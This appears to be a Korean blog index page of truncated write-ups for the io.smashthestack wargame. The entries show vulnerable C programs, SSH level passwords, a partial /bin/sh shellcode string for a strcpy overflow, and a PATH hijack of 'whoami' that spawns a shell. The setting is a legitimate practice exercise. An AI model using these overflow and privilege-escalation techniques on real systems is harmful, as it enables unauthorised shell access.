본문 바로가기

Wargame/io.smashthestack.org

(6)
level6 ssh level6@io.netgarage.orgrXCikld0ex3EQsnI 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051#include #include #include enum{LANG_ENGLISH,LANG_FRANCAIS,LANG_DEUTSCH,}; int language = LANG_ENGLISH; struct UserRecord{ char name[40]; char password[32]; int id;}; void greetuser(struct UserRecord user){ char greeting[64]; switch(language){ case LANG_ENGLISH..
level05 ssh level5@io.netgarage.orgLOoCy5PbKi63qXTh #include #include int main(int argc, char **argv) { char buf[128]; if(argc < 2) return 1;strcpy(buf, argv[1]);printf("%s\n", buf);return 0;} 기초적인 BOF 문제다.strcpy 에서 argv 길이 확인을 안하고 buf에 복사해버리므로 쉘코드를 넣고 ret를 쉘코드 위치로 돌리면 될 것 같다. buffer + dummy + sfp + ret128 + 8 + 4 + 4 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\x..
level04 ssh level4@io.netgarage.orgnSwmULj2LpDnRGU2 #include #include int main() { char username[1024]; FILE* f = popen("whoami","r"); fgets(username, sizeof(username), f); printf("Welcome %s", username); return 0;} 기본 bin 디렉토리 안의 whoami 를 내가 변조한 프로그램으로 실행시킬 수 있다면, 풀리는 문제이다. 환경변수 PATH를 조작함으로써 whoami 바이너리를 내가 만든 바이너리로 치환시킬 수 있다.(우선순위) cat /tmp/getflag/asdf.c#include main() { system("/bin/sh"); return 0;}..
level3 ssh level3@io.netgarage.orgIFd92yzOnSMv9tkX level3@io:/levels$ cat level03.c //bla, based on work by beach #include #include void good(){ puts("Win."); execl("/bin/sh", "sh", NULL);}void bad(){ printf("I'm so sorry, you're at %p and you want to be at %p\n", bad, good);} int main(int argc, char **argv, char **envp){ void (*functionpointer)(void) = bad; char buffer[50]; if(argc != 2 || strlen(argv..
level02 ssh level2@io.netgarage.org3ywr07ZFw5IsdKzU level2@io:~$ cd /levelslevel2@io:/levels$ ./level02source code is available in level02.c level2@io:/levels$ cat level02.c //a little fun brought to you by bla #include #include #include #include void catcher(int a){ setresuid(geteuid(),geteuid(),geteuid());printf("WIN!\n"); system("/bin/sh"); exit(0);} int main(int argc, char **argv){puts("source code ..
level01 ssh level1@io.netgarage.orgpassword: level1 서버가 굉장히 느리다. 로그인을 하면, /levels 디렉토리에서 자신의 레벨 파일을 실행시키면 된다.문제는 바이너리 형태로 제공되고 있는 것 같다. level1@io:/levels$ ./level01Enter the 3 digit passcode to enter: 123 처음 실행하면 세 숫자를 입력하라고 나오고 입력 후에는 꺼진다. gdb로 까보면 (gdb) disassemble mainDump of assembler code for function main: 0x08048080 :push $0x8049128 0x08048085 :call 0x804810f 0x0804808a :call 0x804809f 0x0804808f..